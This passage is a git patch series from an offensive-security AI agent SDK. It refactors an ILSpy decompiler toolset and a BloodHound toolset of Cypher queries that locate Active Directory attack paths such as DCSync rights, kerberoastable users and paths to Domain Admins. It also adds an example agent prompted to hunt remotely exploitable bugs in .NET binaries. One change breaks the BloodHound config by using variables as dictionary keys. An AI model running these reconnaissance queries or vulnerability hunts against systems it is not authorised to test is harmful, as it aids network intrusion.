    #QK12CsLLzbcM(IL$wzp8p zu6&l4@3^6HN>U@?G*8rwmiiC02%NmPpg5+uK6J32*fXE<^VCq6L$tqjBT9V# zkQ3|ITeDT!X1EVHlSCqQ@T{dog5xx4RXy0G`v=(g8lQjHd*q`*#~TOfj5@<6VKO zzP2X9&q&VWy5r@5B_DflhA)x#yDGbLJ)-qSo@7&$sb3SOKVBtqTRmk!17Bp>`kF#q zs(8*&e5D|ooAV3 z{#VHRod)$yWfegKKSK>@fLj;*1T%F&3?;suq5JP-xL}5U2yg{8=kGckn4w$#+p%_% z^#9&yzgMQ%$PXt%)~V)Z6kgFC)1ftZAs?ei!t%bLiZFa}Nqy&xuJgw0#;a zK5jZ3MS6x?e`^)R)|Fd%0A) z?4aPP;v5#CFa1!{eQAS#1FR37|^N($DF8NVE8 zmhr`HDU0=YUh{uP%KFAlP_>c+P|9dDS^?xHC`@mga%A%#rux4F-1J0|>C7#{9=gba z?g8P*hFyK6=bMY!R8+mi{^p_gA1WMJg~a;rAD?WvtHFLqZp+!C%j?s5n_$PunEj4l zYZbkZ8VJ$fPC-5mM>jKZ%pN-8Yn`B1Q*_$EkBVifBWxwf@>Pr8{a|M+lu{n8azM($ z0OR0Zn`jkxXjJ=+O#-f*x1@Acu~A_!b|_P=j_a`8%{Zr+Q%pRUt-s!x^$>aG%lOn~ z`Ri$$r~U7a+MB%}sZS}KN=vO$k+RC33&JrxRFn=njk>QO)-ZMJm~h+pgVdPYwyCc^ zQ`%+Xebg=)G%OUBMTskwcF!m1&lm(eME5l(0nQdulO9!%?@p#1pUx5byUC9*C--k&6*v;J@iIq$><&S8_=sCv-SCYV#dnIP ztC9iNnXP7KhDE*EMgEQ!zaa zt=I99VS1ZrWiZ*(;LG9Y4hebaUEn$(76zS^;~)%N6Zp{jnVEI~6G;C+5qr`puP9-U ziyJ^pOHUuXYq?IB?7pOkP~b>39Dc>!vsv|mr^9d6+1kp5d03>b+>$cNzhgHq;eE=w zb^B5FbIto$hq;uxs98BQBTDq|tneLk9ZJn%Bj7sA4%gIZ_)f~)+yUGO2)LI3SUda_ zvM9H&f%)!_HYoWNN8+0GS8V&GMpD{70|oJ?Ok1+>#b3zyr{HrYvq9kd2?_o8AxsmF zfHkxB|4i4>BkMZWoZsGPDt^4Lr}s_6FCHvjpD$!&MbE{%nh*-m56f})KPM`RR&sv z6*Y&j{?X4uRq*#1QPZudU;KOW(>Vke=e)dCZOle8>+bMH3@XZG7nAHMU=@^&$+Nie zI-149W4?in;@ts*nnt0JmmH&b68#EZ$aXryCRF&q-I3g-)9Rf|K4YG%h4wc-oxdYy zC;CjdK`XC`^A0ofZWndYajgvH(ogH+$!+!Q6}CrpsyFC!PI4yCe4z7rMaPW3ky8B3A--b7=nLznx>%| za=_RY`!Zx8md{BKa@vtI&5t3sQ0$dArpAn={Sws^s?;8_FM}{PW+{s#{8dV(mSBW0(=A>* zIfv@}Ag_=4BxpZa|By?4aPL#(|NpJV3xsIFXQV<f1^Um$fdnrs?_q;6!h)YbIa8mLKPEn_sF$5dMDk7Q@^ zsQb-4f5=c7>RJ>t(~w|4!o41vEq+c&JJIm6pL=e{-m~HsXAb8`_G(VOMNF}8MC}&L zYs*BD;0yo>4n8m_$)5XX7j#>Y{WIa`S3#Bp*$;62knKQ4mf>H7xj%@m!>+o~6wQ|( z6WZO#jJvTzAyBks>9l9jV{_MjSejq;c|G-Z8^A`sy&cqYOcdOw*r<#|E_aU70 zbvuA=Ryd2t`|!l*rDY>Yu3sGzRMp@lD21L-d0C(b^swcdR8 z$=#6T9-Dm5=<}ANxUsD>6F^dcbExR2!HUZdhvt&X6Z7lWrBE>^wrCSy?Hi<3QJQqN zuU(%W_t1a&aAi-V9VEYEx6Xl^>^cJDj9GJ9{%wAJT4!&*s}n1?f=EAq6d-4z}BCFBFm-TJ6CPq!DRW>~oS z8#8^Ub#?Dw5NtjdATi&kl*NLPco#%#bRtVT^nQKv6U_njJwUjvvQZ#bliq0!F*(t8O+RL=#GDj4IJk9oblGdsH~0c#?gA%a*AR11 znTZ>7pc+ZUnK0SpI{suZzo(2u;YrT3SsBYB5pq6D(b~@ z5xQQt$ZGpw4$r3(YV|~!SWkYY8$xAR@J^qg6ZPNCe`N5Wyx3_WY1pIPzQ&sod{7hj f(sc;2QF%>z!DHs_rQC$24)q44ufnjZ6vcl50hd$; literal 0 HcmV?d00001 From 0af906dfa1e03e82765eaa9bad04635d4900d676 Mon Sep 17 00:00:00 2001 From: moohax <7361922+moohax@users.noreply.github.com> Date: Fri, 22 Aug 2025 07:02:09 -0600 Subject: [PATCH 06/60] reset pyproject, org examples --- examples/{ => sdk}/data_export.ipynb | 0 examples/{ => sdk}/log_artifact.ipynb | 0 examples/{ => sdk}/log_object/audio.ipynb | 0 examples/{ => sdk}/log_object/image.ipynb | 0 examples/{ => sdk}/log_object/object3d.ipynb | 0 examples/{ => sdk}/log_object/table.ipynb | 0 examples/{ => sdk}/log_object/video.ipynb | 0 examples/{ => sdk}/model_training.ipynb | 0 examples/{ => sdk}/rigging.ipynb | 0 pyproject.toml | 16 ++++++---------- 10 files changed, 6 insertions(+), 10 deletions(-) rename examples/{ => sdk}/data_export.ipynb (100%) rename examples/{ => sdk}/log_artifact.ipynb (100%) rename examples/{ => sdk}/log_object/audio.ipynb (100%) rename examples/{ => sdk}/log_object/image.ipynb (100%) rename examples/{ => sdk}/log_object/object3d.ipynb (100%) rename examples/{ => sdk}/log_object/table.ipynb (100%) rename examples/{ => sdk}/log_object/video.ipynb (100%) rename examples/{ => sdk}/model_training.ipynb (100%) rename examples/{ => sdk}/rigging.ipynb (100%) diff --git a/examples/data_export.ipynb b/examples/sdk/data_export.ipynb similarity index 100% rename from examples/data_export.ipynb rename to examples/sdk/data_export.ipynb diff --git a/examples/log_artifact.ipynb b/examples/sdk/log_artifact.ipynb similarity index 100% rename from examples/log_artifact.ipynb rename to examples/sdk/log_artifact.ipynb diff --git a/examples/log_object/audio.ipynb b/examples/sdk/log_object/audio.ipynb similarity index 100% rename from examples/log_object/audio.ipynb rename to examples/sdk/log_object/audio.ipynb diff --git a/examples/log_object/image.ipynb b/examples/sdk/log_object/image.ipynb similarity index 100% rename from examples/log_object/image.ipynb rename to examples/sdk/log_object/image.ipynb diff --git a/examples/log_object/object3d.ipynb b/examples/sdk/log_object/object3d.ipynb similarity index 100% rename from examples/log_object/object3d.ipynb rename to examples/sdk/log_object/object3d.ipynb diff --git a/examples/log_object/table.ipynb b/examples/sdk/log_object/table.ipynb similarity index 100% rename from examples/log_object/table.ipynb rename to examples/sdk/log_object/table.ipynb diff --git a/examples/log_object/video.ipynb b/examples/sdk/log_object/video.ipynb similarity index 100% rename from examples/log_object/video.ipynb rename to examples/sdk/log_object/video.ipynb diff --git a/examples/model_training.ipynb b/examples/sdk/model_training.ipynb similarity index 100% rename from examples/model_training.ipynb rename to examples/sdk/model_training.ipynb diff --git a/examples/rigging.ipynb b/examples/sdk/rigging.ipynb similarity index 100% rename from examples/rigging.ipynb rename to examples/sdk/rigging.ipynb diff --git a/pyproject.toml b/pyproject.toml index 3e91a145..59346c31 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -1,15 +1,12 @@ [project] name = "dreadnode" -version = "1.13.4" +version = "1.13.0" description = "Dreadnode SDK" requires-python = ">=3.10,<3.14" -dependencies = [ - "bbot>=2.6.1", -] [tool.poetry] name = "dreadnode" -version = "1.13.3" +version = "1.13.0" description = "Dreadnode SDK" authors = ["Nick Landers "] repository = "https://github.com/dreadnode/sdk" @@ -34,7 +31,6 @@ transformers = { version = "^4.41.0", optional = true } soundfile = { version = "^0.13.1", optional = true } moviepy = { version = "^2.1.2", optional = true } pillow = { version = "^11.2.1", optional = true } -presidio-analyzer = "^2.2.359" [tool.poetry.extras] @@ -43,9 +39,9 @@ multimodal = ["pillow", "soundfile", "moviepy"] all = ["multimodal", "training"] [tool.poetry.group.dev.dependencies] -mypy = "^1.17.0" -ruff = "^0.12.0" -pre-commit = "^4.3.0" +mypy = "^1.8.0" +ruff = "^0.11.6" +pre-commit = "^4.0.0" pytest = "^8.3.3" pytest-asyncio = "^0.26.0" types-protobuf = "^5.29.1.20250208" @@ -56,7 +52,7 @@ datasets = "^3.5.0" pyarrow = "^19.0.1" markdown = "^3.8.2" markdownify = "^1.1.0" -mkdocstrings-python = "^1.17.0" +mkdocstrings-python = "^1.16.12" ipykernel = "^6.29.5" [build-system] From 2d83848da43b5eb6c3ef04cd10463b70d699c5e1 Mon Sep 17 00:00:00 2001 From: moohax <7361922+moohax@users.noreply.github.com> Date: Fri, 22 Aug 2025 22:25:35 -0600 Subject: [PATCH 07/60] manifest wip, tools --- dreadnode/agent/tools/bbot/tool.py | 10 +-- dreadnode/agent/tools/ilspy/tool.py | 58 ++++++------------ dreadnode/agent/tools/ilspy/tool.yaml | 35 +++++++++++ examples/agents/bbot/__init__.py | 0 examples/agents/bbot/agent.py | 9 +++ examples/agents/dotnet-reversing/ilspy.ipynb | 19 ------ examples/agents/dotnet/__init__.py | 0 examples/agents/dotnet/agent.py | 34 ++++++++++ .../bin/AddInUtil.exe | Bin .../bin/System.Addin.dll | Bin .../bin/mscorlib.dll | Bin 11 files changed, 102 insertions(+), 63 deletions(-) create mode 100644 dreadnode/agent/tools/ilspy/tool.yaml create mode 100644 examples/agents/bbot/__init__.py create mode 100644 examples/agents/bbot/agent.py delete mode 100644 examples/agents/dotnet-reversing/ilspy.ipynb create mode 100644 examples/agents/dotnet/__init__.py create mode 100644 examples/agents/dotnet/agent.py rename examples/agents/{dotnet-reversing => dotnet}/bin/AddInUtil.exe (100%) rename examples/agents/{dotnet-reversing => dotnet}/bin/System.Addin.dll (100%) rename examples/agents/{dotnet-reversing => dotnet}/bin/mscorlib.dll (100%) diff --git a/dreadnode/agent/tools/bbot/tool.py b/dreadnode/agent/tools/bbot/tool.py index 077dc51b..aa60caeb 100644 --- a/dreadnode/agent/tools/bbot/tool.py +++ b/dreadnode/agent/tools/bbot/tool.py @@ -9,12 +9,13 @@ class BBotTool(Toolset): scanner: Scanner | None = Field(default=None, exclude=True) @classmethod - async def create(cls, name="bbot-agent", **kwargs): + async def create(cls, name: str = "bbot-agent", **kwargs) -> "BBotTool": """Factory method to create and initialize a BBOT Tool.""" try: - instance = cls(name=name, **kwargs) - except Exception as e: - raise ValueError(f"Failed to create BBOT Tool with name '{name}': {e}") + instance = cls(**kwargs) + instance.name = name + except (ValueError, TypeError) as e: + raise ValueError(f"Failed to create BBOT Tool with name '{name}': {e}") from e return instance @@ -23,6 +24,7 @@ def get_presets(self) -> list[str] | None: preset = Preset(_log=True, name="bbot_cli_main") print(preset.all_presets.keys()) + return list(preset.all_presets.keys()) def get_modules(self) -> list[str] | None: """Return the modules available in the BBOT Agent.""" diff --git a/dreadnode/agent/tools/ilspy/tool.py b/dreadnode/agent/tools/ilspy/tool.py index 817ce7c4..ad110bf0 100644 --- a/dreadnode/agent/tools/ilspy/tool.py +++ b/dreadnode/agent/tools/ilspy/tool.py @@ -2,29 +2,26 @@ # Fair warning, this file is a mess on the part of .NET interop. Order matters here for imports. # -import asyncio -import functools import sys import typing as t -from dataclasses import dataclass -from functools import cached_property from pathlib import Path -import dreadnode as dn -import rigging as rg from loguru import logger from pythonnet import load # type: ignore [import-untyped] +from dreadnode.agent.tools import Toolset, tool_method + load("coreclr") import clr # type: ignore [import-untyped] # noqa: E402 -lib_dir = Path(__file__).parent / "lib" +lib_dir = Path(__file__).parent / "bin" sys.path.append(str(lib_dir)) clr.AddReference("ICSharpCode.Decompiler") clr.AddReference("Mono.Cecil") + from ICSharpCode.Decompiler import ( # type: ignore [import-not-found] # noqa: E402 DecompilerSettings, ) @@ -107,8 +104,7 @@ def _extract_unique_call_paths( ] -@dataclass -class DotnetReversing: +class ILSpyTool(Toolset): base_path: Path binaries: list[str] @@ -118,7 +114,7 @@ def from_path( path: Path | str, pattern: str = "**/*", exclude: list[str] = DEFAULT_EXCLUDE, - ) -> "DotnetReversing": + ) -> "ILSpyTool": base_path = Path(path) if not base_path.exists(): raise ValueError(f"Base path does not exist: {base_path}") @@ -136,35 +132,6 @@ def from_path( return cls(base_path=base_path, binaries=binaries) - @cached_property - def tools(self) -> list[t.Callable[..., t.Any]]: - def wrap(func: t.Callable[..., t.Any]) -> t.Callable[..., t.Any]: - @rg.tool(catch=True, truncate=10_000) - @dn.task() - @functools.wraps(func) - async def wrapper(*args: t.Any, **kwargs: t.Any) -> t.Any: - # Use asyncio.to_thread to run the function in a separate thread - # and avoid blocking the event loop. - return await asyncio.to_thread(func, *args, **kwargs) - - return wrapper - - return [ - wrap(func) - for func in ( - self.decompile_module, - self.decompile_type, - self.decompile_methods, - self.list_namespaces, - self.list_types_in_namespace, - self.list_methods_in_type, - self.list_types, - self.list_methods, - self.search_for_references, - self.get_call_flows_to_method, - ) - ] - def _resolve_path(self, path: str) -> str: rel_path = Path(path) full_path = self.base_path / path @@ -179,7 +146,8 @@ def _resolve_path(self, path: str) -> str: return str(full_path) - def decompile_module(self, path: t.Annotated[str, "The binary file path"]) -> str: + @tool_method() + def decompile_module(self, path: t.Annotated[str | None, "The binary file path"]) -> str: """ Decompile the entire module and return the decompiled code as a string. """ @@ -187,6 +155,7 @@ def decompile_module(self, path: t.Annotated[str, "The binary file path"]) -> st path = self._resolve_path(path) return _get_decompiler(path).DecompileWholeModuleAsString() # type: ignore [no-any-return] + @tool_method() def decompile_type( self, path: t.Annotated[str, "The binary file path"], @@ -199,6 +168,7 @@ def decompile_type( path = self._resolve_path(path) return _get_decompiler(path).DecompileTypeAsString(type_name) # type: ignore [no-any-return] + @tool_method() def decompile_methods( self, path: t.Annotated[str, "The binary file path"], @@ -220,6 +190,7 @@ def decompile_methods( methods[method.FullName] = _decompile_token(path, method.MetadataToken) return methods + @tool_method() def list_namespaces(self, path: t.Annotated[str, "The binary file path"]) -> list[str]: """ List all namespaces in the assembly. @@ -241,6 +212,7 @@ def list_namespaces(self, path: t.Annotated[str, "The binary file path"]) -> lis return sorted(namespaces) + @tool_method() def list_types_in_namespace( self, path: t.Annotated[str, "The binary file path"], @@ -271,6 +243,7 @@ def list_types_in_namespace( return types + @tool_method() def list_methods_in_type( self, path: t.Annotated[str, "The binary file path"], @@ -292,6 +265,7 @@ def list_methods_in_type( return methods + @tool_method() def list_types(self, path: t.Annotated[str, "The binary file path"]) -> list[str]: """ List all types in the assembly and return their full names. @@ -301,6 +275,7 @@ def list_types(self, path: t.Annotated[str, "The binary file path"]) -> list[str assembly = AssemblyDefinition.ReadAssembly(path) return [module_type.FullName for module in assembly.Modules for module_type in module.Types] + @tool_method() def list_methods(self, path: t.Annotated[str, "The binary file path"]) -> list[str]: """ List all methods in the assembly and return their full names. @@ -314,6 +289,7 @@ def list_methods(self, path: t.Annotated[str, "The binary file path"]) -> list[s methods.extend([method.FullName for method in module_type.Methods]) return methods + @tool_method() def search_for_references( self, path: t.Annotated[str, "The binary file path"], @@ -329,6 +305,7 @@ def search_for_references( assembly = AssemblyDefinition.ReadAssembly(path) return _find_references(assembly, search) + @tool_method() def search_by_name( self, path: t.Annotated[str, "The binary file path"], @@ -365,6 +342,7 @@ def search_by_name( return results + @tool_method() def get_call_flows_to_method( self, paths: t.Annotated[ diff --git a/dreadnode/agent/tools/ilspy/tool.yaml b/dreadnode/agent/tools/ilspy/tool.yaml new file mode 100644 index 00000000..81e39fe6 --- /dev/null +++ b/dreadnode/agent/tools/ilspy/tool.yaml @@ -0,0 +1,35 @@ +name: dotnet-reversing +description: "Dreadnode plugin: .NET reversing tools" +factory: dreaddotnet.plugin:register +version: 0.1.0 +tags: [dotnet, reversing] + +provides: + - decompile_module + - decompile_type + - decompile_methods + - list_namespaces + - list_types_in_namespace + - list_methods_in_type + - list_types + - list_methods + - search_for_references + - search_by_name + - get_call_flows_to_method + +defaults: + pattern: "**/*" + exclude: ["mscorlib.dll"] + +args_schema: + path: + { type: path, required: true, description: "Base directory of assemblies" } + pattern: { type: str, required: false } + exclude: { type: list, items: str, required: false } + +runtime: + python: { min: "3.10", max: "3.12" } + requirements: + - pythonnet + resources: + - "lib/*.dll" diff --git a/examples/agents/bbot/__init__.py b/examples/agents/bbot/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/examples/agents/bbot/agent.py b/examples/agents/bbot/agent.py new file mode 100644 index 00000000..a425d5ea --- /dev/null +++ b/examples/agents/bbot/agent.py @@ -0,0 +1,9 @@ +from dreadnode.agent.agent import Agent +from dreadnode.agent.tools.bbot.tool import BBotTool + +agent = Agent( + name="bbot-agent", + description="An agent that uses BBOT to perform various tasks.", + model="gpt-4", + tools=[BBotTool()], +) diff --git a/examples/agents/dotnet-reversing/ilspy.ipynb b/examples/agents/dotnet-reversing/ilspy.ipynb deleted file mode 100644 index 5607f351..00000000 --- a/examples/agents/dotnet-reversing/ilspy.ipynb +++ /dev/null @@ -1,19 +0,0 @@ -{ - "cells": [ - { - "cell_type": "code", - "execution_count": null, - "id": "3fcf2332", - "metadata": {}, - "outputs": [], - "source": [] - } - ], - "metadata": { - "language_info": { - "name": "python" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} diff --git a/examples/agents/dotnet/__init__.py b/examples/agents/dotnet/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/examples/agents/dotnet/agent.py b/examples/agents/dotnet/agent.py new file mode 100644 index 00000000..7a6df14a --- /dev/null +++ b/examples/agents/dotnet/agent.py @@ -0,0 +1,34 @@ +import asyncio + +from rich import print + +from dreadnode.agent import Agent, AgentResult +from dreadnode.agent.tools.ilspy.tool import ILSpyTool + + +async def main() -> AgentResult: + agent = Agent( + name="dotnet-reversing-agent", + description="An agent that uses ILSpy to reverse engineer .NET binaries.", + model="groq/moonshotai/kimi-k2-instruct", + tools=[ILSpyTool(base_path="./bin", binaries=["addinutil.exe", "system.addin.dll"])], + instructions="""You are an expert dotnet reverse engineer with decades of experience. Your task is to analyze the provided static binaries and identify high impact vulnerabilities. You care most about exploitable bugs from a remote perspective. It is okay to review the code multiple times, + + DO NOT write fixes or suggestions. + DO NOT speculate, or make assumptions. Don't say could, might, maybe, or similar. + DO NOT report encyption issues. + DO NOT mock or pretend. + """, + ) + + print(agent.all_tools) + + result = await agent.run( + "You the tools available to you to. Here are the binaries: addinutil.exe, system.addin.dll.", + ) + + print(result.__dict__) + + +if __name__ == "__main__": + asyncio.run(main()) diff --git a/examples/agents/dotnet-reversing/bin/AddInUtil.exe b/examples/agents/dotnet/bin/AddInUtil.exe similarity index 100% rename from examples/agents/dotnet-reversing/bin/AddInUtil.exe rename to examples/agents/dotnet/bin/AddInUtil.exe diff --git a/examples/agents/dotnet-reversing/bin/System.Addin.dll b/examples/agents/dotnet/bin/System.Addin.dll similarity index 100% rename from examples/agents/dotnet-reversing/bin/System.Addin.dll rename to examples/agents/dotnet/bin/System.Addin.dll diff --git a/examples/agents/dotnet-reversing/bin/mscorlib.dll b/examples/agents/dotnet/bin/mscorlib.dll similarity index 100% rename from examples/agents/dotnet-reversing/bin/mscorlib.dll rename to examples/agents/dotnet/bin/mscorlib.dll From 4b2b52a6c0e6ec2e5d1bcd9db8a7e850c8558c81 Mon Sep 17 00:00:00 2001 From: moohax <7361922+moohax@users.noreply.github.com> Date: Sat, 23 Aug 2025 23:33:51 -0600 Subject: [PATCH 08/60] thread fixes, tool fixes --- dreadnode/agent/agent.py | 11 +- dreadnode/agent/tools/__init__.py | 6 +- dreadnode/agent/tools/base.py | 20 +- dreadnode/agent/tools/bloodhound/tool.py | 171 +++++++++--------- dreadnode/agent/tools/filesystem/tool.py | 24 +-- dreadnode/agent/tools/highlight.py | 35 ---- dreadnode/agent/tools/ilspy/tool.py | 23 ++- dreadnode/agent/tools/jupyter/tool.py | 9 +- dreadnode/agent/tools/mythic/apollo/tool.py | 84 ++++----- .../agent/tools/pentest/internal/tool.py | 29 ++- dreadnode/agent/tools/task.py | 41 ----- dreadnode/agent/tools/todo.py | 112 ------------ examples/agents/dotnet/agent.py | 39 ++-- 13 files changed, 228 insertions(+), 376 deletions(-) delete mode 100644 dreadnode/agent/tools/highlight.py delete mode 100644 dreadnode/agent/tools/task.py delete mode 100644 dreadnode/agent/tools/todo.py diff --git a/dreadnode/agent/agent.py b/dreadnode/agent/agent.py index 1f9ba613..c64016de 100644 --- a/dreadnode/agent/agent.py +++ b/dreadnode/agent/agent.py @@ -49,7 +49,7 @@ class Agent(BaseModel): """The tool calling mode to use (e.g., "xml", "json-with-tag", "json-in-xml", "api") - default is "auto".""" caching: t.Annotated[CacheMode | None, Field(repr=False)] = None """How to handle cache_control entries on inference messages.""" - max_steps: int = 10 + max_steps: int = 100 """The maximum number of steps (generation + tool calls) the agent can take before stopping.""" stop_conditions: list[StopCondition] = [] @@ -83,7 +83,6 @@ def validate_tools(cls, value: t.Any) -> t.Any: tools.append(Tool.from_callable(tool)) else: tools.append(tool) - return tools def __repr__(self) -> str: @@ -242,7 +241,7 @@ async def run( *, thread: Thread | None = None, ) -> AgentResult: - thread = thread or Thread() + thread = thread or self.thread return await thread.run( self, user_input, commit="always" if thread == self.thread else "on-success" ) @@ -259,10 +258,10 @@ class TaskAgent(Agent): """ def model_post_init(self, _: t.Any) -> None: - from dreadnode.agent.tools import finish_task, update_todo # noqa: PLC0415 + from dreadnode.agent.tools import mark_complete, update_todo if not any(tool for tool in self.tools if tool.name == "finish_task"): - self.tools.append(finish_task) + self.tools.append(mark_complete) if not any(tool for tool in self.tools if tool.name == "update_todo"): self.tools.append(update_todo) @@ -273,6 +272,6 @@ def model_post_init(self, _: t.Any) -> None: 0, retry_with_feedback( event_type=AgentStalled, - feedback="Continue the task if possible or use the 'finish_task' tool to complete it.", + feedback="Continue the task if possible or use the 'mark_complete' tool to complete it.", ), ) diff --git a/dreadnode/agent/tools/__init__.py b/dreadnode/agent/tools/__init__.py index bd05e798..e9433759 100644 --- a/dreadnode/agent/tools/__init__.py +++ b/dreadnode/agent/tools/__init__.py @@ -1,11 +1,11 @@ from dreadnode.agent.tools.base import Tool, Toolset, tool, tool_method -from dreadnode.agent.tools.task import finish -from dreadnode.agent.tools.todo import update_todo +from dreadnode.agent.tools.task.finish import mark_complete +from dreadnode.agent.tools.task.todo import update_todo __all__ = [ "Tool", "Toolset", - "finish", + "mark_complete", "tool", "tool_method", "update_todo", diff --git a/dreadnode/agent/tools/base.py b/dreadnode/agent/tools/base.py index 2d525520..f5e909d5 100644 --- a/dreadnode/agent/tools/base.py +++ b/dreadnode/agent/tools/base.py @@ -1,8 +1,9 @@ +import inspect import typing as t from pydantic import BaseModel, ConfigDict from rigging import tools -from rigging.tools.base import ToolMethod as RiggingToolMethod +from rigging.tools.base import Tool, ToolMethod from dreadnode.agent.configurable import CONFIGURABLE_ATTR, configurable @@ -24,7 +25,7 @@ def tool_method( description: str | None = None, catch: bool | t.Iterable[type[Exception]] | None = None, truncate: int | None = None, -) -> t.Callable[[t.Callable[P, R]], RiggingToolMethod[P, R]]: +) -> t.Callable[[t.Callable[P, R]], ToolMethod[P, R]]: """ Marks a method on a Toolset as a tool, adding it to specified variants. @@ -41,8 +42,8 @@ def tool_method( truncate: The maximum number of characters for the tool's output. """ - def decorator(func: t.Callable[P, R]) -> RiggingToolMethod[P, R]: - tool_method_descriptor: RiggingToolMethod[P, R] = tools.tool_method( + def decorator(func: t.Callable[P, R]) -> ToolMethod[P, R]: + tool_method_descriptor: ToolMethod[P, R] = tools.tool_method( name=name, description=description, catch=catch, @@ -89,16 +90,13 @@ def name(self) -> str: def get_tools(self, *, variant: str | None = None) -> list[AnyTool]: variant = variant or self.variant - tools: list[AnyTool] = [] - for name in dir(self): - class_member = getattr(self.__class__, name, None) - # We only act on ToolMethod descriptors that have our variants metadata. - if isinstance(class_member, RiggingToolMethod): - variants = getattr(class_member, TOOL_VARIANTS_ATTR, []) + # The loop + for name, raw in inspect.getmembers_static(self.__class__): + if isinstance(raw, ToolMethod): + variants = getattr(raw, TOOL_VARIANTS_ATTR, []) if variant in variants: bound_tool = t.cast("AnyTool", getattr(self, name)) tools.append(bound_tool) - return tools diff --git a/dreadnode/agent/tools/bloodhound/tool.py b/dreadnode/agent/tools/bloodhound/tool.py index 893ee6fc..9c32301a 100644 --- a/dreadnode/agent/tools/bloodhound/tool.py +++ b/dreadnode/agent/tools/bloodhound/tool.py @@ -36,15 +36,14 @@ def __init__( neo4j_username: str = BLOODHOUND_NEO4J_USERNAME, neo4j_password: str = BLOODHOUND_NEO4J_PASSWORD, ): - """ """ - self.config = dict( - url=url, - username=username, - password=password, - neo4j_url=neo4j_url, - neo4j_username=neo4j_username, - neo4j_password=neo4j_password, - ) + self.config = { + url: url, + username: username, + password: password, + neo4j_url: neo4j_url, + neo4j_username: neo4j_username, + neo4j_password: neo4j_password, + } async def initialize(self) -> None: """initialize connection to BloodHound server""" @@ -127,7 +126,7 @@ async def query_bloodhound(self, query: str): return {"success": False, "error": str(last_error)} # Domain Information - @tool_method + @tool_method() async def find_all_domain_admins(self): query = """ MATCH p = (t:Group)<-[:MemberOf*1..]-(a) @@ -137,7 +136,7 @@ async def find_all_domain_admins(self): """ return await self.query_bloodhound(query) - @tool_method + @tool_method() async def map_domain_trusts(self): query = """ MATCH p = (:Domain)-[:TrustedBy]->(:Domain) @@ -146,7 +145,7 @@ async def map_domain_trusts(self): """ return await self.query_bloodhound(query) - @tool_method + @tool_method() async def find_tier_zero_locations(self): query = """ MATCH p = (t:Base)<-[:Contains*1..]-(:Domain) @@ -156,7 +155,7 @@ async def find_tier_zero_locations(self): """ return await self.query_bloodhound(query) - @tool_method + @tool_method() async def map_ou_structure(self): query = """ MATCH p = (:Domain)-[:Contains*1..]->(:OU) @@ -166,7 +165,7 @@ async def map_ou_structure(self): return await self.query_bloodhound(query) # Dangerous Privileges - @tool_method + @tool_method() async def find_dcsync_privileges(self): query = """ MATCH p=(:Base)-[:DCSync|AllExtendedRights|GenericAll]->(:Domain) @@ -175,7 +174,7 @@ async def find_dcsync_privileges(self): """ return await self.query_bloodhound(query) - @tool_method + @tool_method() async def find_foreign_group_memberships(self): query = """ MATCH p=(s:Base)-[:MemberOf]->(t:Group) @@ -185,7 +184,7 @@ async def find_foreign_group_memberships(self): """ return await self.query_bloodhound(query) - @tool_method + @tool_method() async def find_domain_users_local_admins(self): query = """ MATCH p=(s:Group)-[:AdminTo]->(:Computer) @@ -195,7 +194,7 @@ async def find_domain_users_local_admins(self): """ return await self.query_bloodhound(query) - @tool_method + @tool_method() async def find_domain_users_laps_readers(self): query = """ MATCH p=(s:Group)-[:AllExtendedRights|ReadLAPSPassword]->(:Computer) @@ -205,7 +204,7 @@ async def find_domain_users_laps_readers(self): """ return await self.query_bloodhound(query) - @tool_method + @tool_method() async def find_domain_users_high_value_paths(self): query = """ MATCH p=shortestPath((s:Group)-[r*1..]->(t)) @@ -215,7 +214,7 @@ async def find_domain_users_high_value_paths(self): """ return await self.query_bloodhound(query) - @tool_method + @tool_method() async def find_domain_users_workstation_rdp(self): query = """ MATCH p=(s:Group)-[:CanRDP]->(t:Computer) @@ -225,7 +224,7 @@ async def find_domain_users_workstation_rdp(self): """ return await self.query_bloodhound(query) - @tool_method + @tool_method() async def find_domain_users_server_rdp(self): query = """ MATCH p=(s:Group)-[:CanRDP]->(t:Computer) @@ -235,7 +234,7 @@ async def find_domain_users_server_rdp(self): """ return await self.query_bloodhound(query) - @tool_method + @tool_method() async def find_domain_users_privileges(self): query = """ MATCH p=(s:Group)-[r]->(:Base) @@ -245,7 +244,7 @@ async def find_domain_users_privileges(self): """ return await self.query_bloodhound(query) - @tool_method + @tool_method() async def find_domain_admin_non_dc_logons(self): query = """ MATCH (s)-[:MemberOf*0..]->(g:Group) @@ -259,7 +258,7 @@ async def find_domain_admin_non_dc_logons(self): return await self.query_bloodhound(query) # Kerberos Interaction - @tool_method + @tool_method() async def find_kerberoastable_tier_zero(self): query = """ MATCH (u:User) @@ -274,7 +273,7 @@ async def find_kerberoastable_tier_zero(self): """ return await self.query_bloodhound(query) - @tool_method + @tool_method() async def find_all_kerberoastable_users(self): query = """ MATCH (u:User) @@ -288,7 +287,7 @@ async def find_all_kerberoastable_users(self): """ return await self.query_bloodhound(query) - @tool_method + @tool_method() async def find_kerberoastable_most_admin(self): query = """ MATCH (u:User) @@ -305,7 +304,7 @@ async def find_kerberoastable_most_admin(self): """ return await self.query_bloodhound(query) - @tool_method + @tool_method() async def find_asreproast_users(self): query = """ MATCH (u:User) @@ -317,7 +316,7 @@ async def find_asreproast_users(self): return await self.query_bloodhound(query) # Shortest Paths - @tool_method + @tool_method() async def find_shortest_paths_unconstrained_delegation(self): query = """ MATCH p=shortestPath((s)-[r*1..]->(t:Computer)) @@ -327,7 +326,7 @@ async def find_shortest_paths_unconstrained_delegation(self): """ return await self.query_bloodhound(query) - @tool_method + @tool_method() async def find_paths_from_kerberoastable_to_da(self): query = """ MATCH p=shortestPath((s:User)-[r*1..]->(t:Group)) @@ -342,7 +341,7 @@ async def find_paths_from_kerberoastable_to_da(self): """ return await self.query_bloodhound(query) - @tool_method + @tool_method() async def find_shortest_paths_to_tier_zero(self): query = """ MATCH p=shortestPath((s)-[r*1..]->(t)) @@ -352,7 +351,7 @@ async def find_shortest_paths_to_tier_zero(self): """ return await self.query_bloodhound(query) - @tool_method + @tool_method() async def find_paths_from_domain_users_to_tier_zero(self): query = """ MATCH p=shortestPath((s:Group)-[r*1..]->(t)) @@ -362,7 +361,7 @@ async def find_paths_from_domain_users_to_tier_zero(self): """ return await self.query_bloodhound(query) - @tool_method + @tool_method() async def find_shortest_paths_to_domain_admins(self): query = """ MATCH p=shortestPath((t:Group)<-[r*1..]-(s:Base)) @@ 